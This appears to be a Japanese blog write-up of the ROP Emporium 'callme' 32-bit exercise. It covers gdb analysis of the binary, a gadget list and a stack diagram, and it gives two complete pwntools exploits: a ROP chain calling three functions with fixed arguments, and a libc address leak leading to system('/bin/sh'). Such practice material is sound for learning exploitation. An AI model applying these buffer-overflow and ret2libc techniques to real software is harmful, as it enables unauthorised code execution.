ROP Emporium callme (32bit)

ROP Emporium


ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.

callme (32bit)


$ ./callme32 
callme by ROP Emporium
x86

Hope you read the instructions...

> aaaa
Thank you!

Exiting
$ ./callme32 
callme by ROP Emporium
x86

Hope you read the instructions...

> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thank you!

Exiting
Segmentation fault

gdbで解析していきます.

$ gdb ./callme32
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0804848c  _init
0x080484c0  read@plt
0x080484d0  printf@plt
0x080484e0  callme_three@plt
0x080484f0  callme_one@plt
0x08048500  puts@plt
0x08048510  exit@plt
0x08048520  __libc_start_main@plt
0x08048530  setvbuf@plt
0x08048540  memset@plt
0x08048550  callme_two@plt
0x08048560  __gmon_start__@plt
0x08048570  _start
0x080485b0  _dl_relocate_static_pie
0x080485c0  __x86.get_pc_thunk.bx
0x080485d0  deregister_tm_clones
0x08048610  register_tm_clones
0x08048650  __do_global_dtors_aux
0x08048680  frame_dummy
0x08048686  main
0x080486ed  pwnme
0x0804874f  usefulFunction
0x080487a0  __libc_csu_init
0x08048800  __libc_csu_fini
0x08048804  _fini

usefulFunctionを見てみます.

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804874f <+0>:     push   ebp
   0x08048750 <+1>:     mov    ebp,esp
   0x08048752 <+3>:     sub    esp,0x8
   0x08048755 <+6>:     sub    esp,0x4
   0x08048758 <+9>:     push   0x6
   0x0804875a <+11>:    push   0x5
   0x0804875c <+13>:    push   0x4
   0x0804875e <+15>:    call   0x80484e0 <callme_three@plt>
   0x08048763 <+20>:    add    esp,0x10
   0x08048766 <+23>:    sub    esp,0x4
   0x08048769 <+26>:    push   0x6
   0x0804876b <+28>:    push   0x5
   0x0804876d <+30>:    push   0x4
   0x0804876f <+32>:    call   0x8048550 <callme_two@plt>
   0x08048774 <+37>:    add    esp,0x10
   0x08048777 <+40>:    sub    esp,0x4
   0x0804877a <+43>:    push   0x6
   0x0804877c <+45>:    push   0x5
   0x0804877e <+47>:    push   0x4
   0x08048780 <+49>:    call   0x80484f0 <callme_one@plt>
   0x08048785 <+54>:    add    esp,0x10
   0x08048788 <+57>:    sub    esp,0xc
   0x0804878b <+60>:    push   0x1
   0x0804878d <+62>:    call   0x8048510 <exit@plt>
End of assembler dump.

callme_one, callme_two, callme_threeが呼ばれています. 引数が3つ必要みたいで4,5,6が指定されています.
プログラムを走らせてcallme_oneを見てみます.

gdb-peda$ start
gdb-peda$ disas callme_one
Dump of assembler code for function callme_one:
   0xf7fca63d <+0>:     push   ebp
   0xf7fca63e <+1>:     mov    ebp,esp
   0xf7fca640 <+3>:     push   ebx
   0xf7fca641 <+4>:     sub    esp,0x14
   0xf7fca644 <+7>:     call   0xf7fca540 <__x86.get_pc_thunk.bx>
   0xf7fca649 <+12>:    add    ebx,0x19b7
   0xf7fca64f <+18>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0xf7fca656 <+25>:    jne    0xf7fca733 <callme_one+246>
   0xf7fca65c <+31>:    cmp    DWORD PTR [ebp+0xc],0xcafebabe
   0xf7fca663 <+38>:    jne    0xf7fca733 <callme_one+246>
   0xf7fca669 <+44>:    cmp    DWORD PTR [ebp+0x10],0xd00df00d
   0xf7fca670 <+51>:    jne    0xf7fca733 <callme_one+246>
   0xf7fca676 <+57>:    mov    DWORD PTR [ebp-0xc],0x0
   0xf7fca67d <+64>:    sub    esp,0x8
   0xf7fca680 <+67>:    lea    eax,[ebx-0x1600]
   0xf7fca686 <+73>:    push   eax
   0xf7fca687 <+74>:    lea    eax,[ebx-0x15fe]
   0xf7fca68d <+80>:    push   eax
   0xf7fca68e <+81>:    call   0xf7fca510 <fopen@plt>
   0xf7fca693 <+86>:    add    esp,0x10
   0xf7fca696 <+89>:    mov    DWORD PTR [ebp-0xc],eax
   0xf7fca699 <+92>:    cmp    DWORD PTR [ebp-0xc],0x0
   0xf7fca69d <+96>:    jne    0xf7fca6bb <callme_one+126>
   0xf7fca69f <+98>:    sub    esp,0xc
   0xf7fca6a2 <+101>:   lea    eax,[ebx-0x15e8]
   0xf7fca6a8 <+107>:   push   eax
   0xf7fca6a9 <+108>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca6ae <+113>:   add    esp,0x10
   0xf7fca6b1 <+116>:   sub    esp,0xc
   0xf7fca6b4 <+119>:   push   0x1
   0xf7fca6b6 <+121>:   call   0xf7fca500 <exit@plt>
   0xf7fca6bb <+126>:   sub    esp,0xc
   0xf7fca6be <+129>:   push   0x21
   0xf7fca6c0 <+131>:   call   0xf7fca4e0 <malloc@plt>
   0xf7fca6c5 <+136>:   add    esp,0x10
   0xf7fca6c8 <+139>:   mov    DWORD PTR [ebx+0x30],eax
   0xf7fca6ce <+145>:   mov    eax,DWORD PTR [ebx+0x30]
   0xf7fca6d4 <+151>:   test   eax,eax
   0xf7fca6d6 <+153>:   jne    0xf7fca6f4 <callme_one+183>
   0xf7fca6d8 <+155>:   sub    esp,0xc
   0xf7fca6db <+158>:   lea    eax,[ebx-0x15c6]
   0xf7fca6e1 <+164>:   push   eax
   0xf7fca6e2 <+165>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca6e7 <+170>:   add    esp,0x10
   0xf7fca6ea <+173>:   sub    esp,0xc
   0xf7fca6ed <+176>:   push   0x1
   0xf7fca6ef <+178>:   call   0xf7fca500 <exit@plt>
   0xf7fca6f4 <+183>:   mov    eax,DWORD PTR [ebx+0x30]
   0xf7fca6fa <+189>:   sub    esp,0x4
   0xf7fca6fd <+192>:   push   DWORD PTR [ebp-0xc]
   0xf7fca700 <+195>:   push   0x21
   0xf7fca702 <+197>:   push   eax
   0xf7fca703 <+198>:   call   0xf7fca4c0 <fgets@plt>
   0xf7fca708 <+203>:   add    esp,0x10
   0xf7fca70b <+206>:   mov    DWORD PTR [ebx+0x30],eax
   0xf7fca711 <+212>:   sub    esp,0xc
   0xf7fca714 <+215>:   push   DWORD PTR [ebp-0xc]
   0xf7fca717 <+218>:   call   0xf7fca4d0 <fclose@plt>
   0xf7fca71c <+223>:   add    esp,0x10
   0xf7fca71f <+226>:   sub    esp,0xc
   0xf7fca722 <+229>:   lea    eax,[ebx-0x15ac]
   0xf7fca728 <+235>:   push   eax
   0xf7fca729 <+236>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca72e <+241>:   add    esp,0x10
   0xf7fca731 <+244>:   jmp    0xf7fca74f <callme_one+274>
   0xf7fca733 <+246>:   sub    esp,0xc
   0xf7fca736 <+249>:   lea    eax,[ebx-0x158e]
   0xf7fca73c <+255>:   push   eax
   0xf7fca73d <+256>:   call   0xf7fca4f0 <puts@plt>
   0xf7fca742 <+261>:   add    esp,0x10
   0xf7fca745 <+264>:   sub    esp,0xc
   0xf7fca748 <+267>:   push   0x1
   0xf7fca74a <+269>:   call   0xf7fca500 <exit@plt>
   0xf7fca74f <+274>:   nop
   0xf7fca750 <+275>:   mov    ebx,DWORD PTR [ebp-0x4]
   0xf7fca753 <+278>:   leave  
   0xf7fca754 <+279>:   ret    
End of assembler dump.

第1引数が0xdeadbeef, 第2引数が0xcafebabe, 第3引数が0xd00df00dでないとダメみたいです. その後, fopenが呼ばれています.
callme_two, callme_threecallme_oneと同様に引数のチェックが行われ, fopenが呼ばれています.
ここにあるように適切な引数でcallme_one, callme_two, callme_threeの順に呼び出せばよさそうです.
mainpwnmeret2winと同じで, pwnmeバッファオーバーフローが起こります. offsetは44.
関数を順番に実行するにはリターンアドレスを次に実行する関数のアドレスにすればいいですが, 引数の配置が悪く実行できません. そこで引数をpopしてからretすることで次の関数を実行できます. ここでは3つの引数があるのでpopを3回してからretします.

gdb-peda$ ropgadget
ret = 0x8048496
popret = 0x80484ad
pop2ret = 0x80487fa
pop3ret = 0x80487f9
pop4ret = 0x80487f8
addesp_12 = 0x80484aa
addesp_16 = 0x80485f2

0x80487f9にとばせばpopを3回してからretしてくれます.

+--------------------+
|        AAAA        |
+--------------------+
|   callme_one@plt   |
+--------------------+
|       pop3ret      |
+--------------------+
|     0xdeadbeef     |
+--------------------+
|     0xcafebabe     |
+--------------------+
|     0xd00df00d     |
+--------------------+
|   callme_two@plt   |
+--------------------+
|       pop3ret      |
+--------------------+
|     0xdeadbeef     |
+--------------------+
|     0xcafebabe     |
+--------------------+
|     0xd00df00d     |
+--------------------+
|  callme_three@plt  |
+--------------------+
|       pop3ret      |
+--------------------+
|     0xdeadbeef     |
+--------------------+
|     0xcafebabe     |
+--------------------+
|     0xd00df00d     |
+--------------------+

スクリプトを書いた.

from pwn import *

p=process('./callme32')
e=ELF('./callme32')

callme_one_plt=e.plt['callme_one']
callme_two_plt=e.plt['callme_two']
callme_three_plt=e.plt['callme_three']
pop3ret=0x80487f9
arg1=0xdeadbeef
arg2=0xcafebabe
arg3=0xd00df00d

payload=b'A'*44
payload+=p32(callme_one_plt)
payload+=p32(pop3ret)
payload+=p32(arg1)
payload+=p32(arg2)
payload+=p32(arg3)
payload+=p32(callme_two_plt)
payload+=p32(pop3ret)
payload+=p32(arg1)
payload+=p32(arg2)
payload+=p32(arg3)
payload+=p32(callme_three_plt)
payload+=p32(pop3ret)
payload+=p32(arg1)
payload+=p32(arg2)
payload+=p32(arg3)

p.recv()
p.sendline(payload)
print(p.recvall().decode())

別解


シェルの起動を目指します.
GOT領域に存在するlibc内の関数のアドレスをリークしてそれをもとに各関数のアドレスを計算します.
libc内での各関数のアドレスを調べます. また, /bin/shが必要なのでそのアドレスも調べます.

$ ldd ./callme32 
        linux-gate.so.1 (0xf7f92000)
        libcallme32.so => ./libcallme32.so (0xf7f8a000)
        libc.so.6 => /lib32/libc.so.6 (0xf7d8c000)
        /lib/ld-linux.so.2 (0xf7f93000)
$ nm -D /lib32/libc.so.6 | grep system
00044f00 T __libc_system
001344e0 T svcerr_systemerr
00044f00 W system
$ nm -D /lib32/libc.so.6 | grep puts
0006eae0 T _IO_fputs
00070320 T _IO_puts
0006eae0 W fputs
00079a70 W fputs_unlocked
00070320 W puts
0010afb0 T putsgent
001093a0 T putspent
$ strings -tx /lib32/libc.so.6 | grep /bin/sh
 18c32b /bin/sh

やることは以下の通りです.

  • puts関数でputsのGOTアドレスをリーク
  • mainに戻る
  • リークしたアドレスをもとに関数と引数のアドレスを計算
  • system("/bin/sh")を実行
from pwn import *

p=process('./callme32')

e=ELF('./callme32')
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main=e.symbols['main']
pop_ret=0x80484ad
system_libc=0x00044f00
puts_libc=0x00070320
arg_libc=0x18c32b

payload=b'A'*44
payload+=p32(puts_plt)
payload+=p32(pop_ret)
payload+=p32(puts_got)
payload+=p32(main)

p.recv()
p.sendline(payload)

p.recvuntil('Thank you!\n')
libc=u32(p.recv(4))-puts_libc
system=libc+system_libc
arg=libc+arg_libc
print(hex(libc))

payload=b'A'*44
payload+=p32(system)
payload+=b'BBBB'
payload+=p32(arg)

p.recv()
p.sendline(payload)
p.interactive()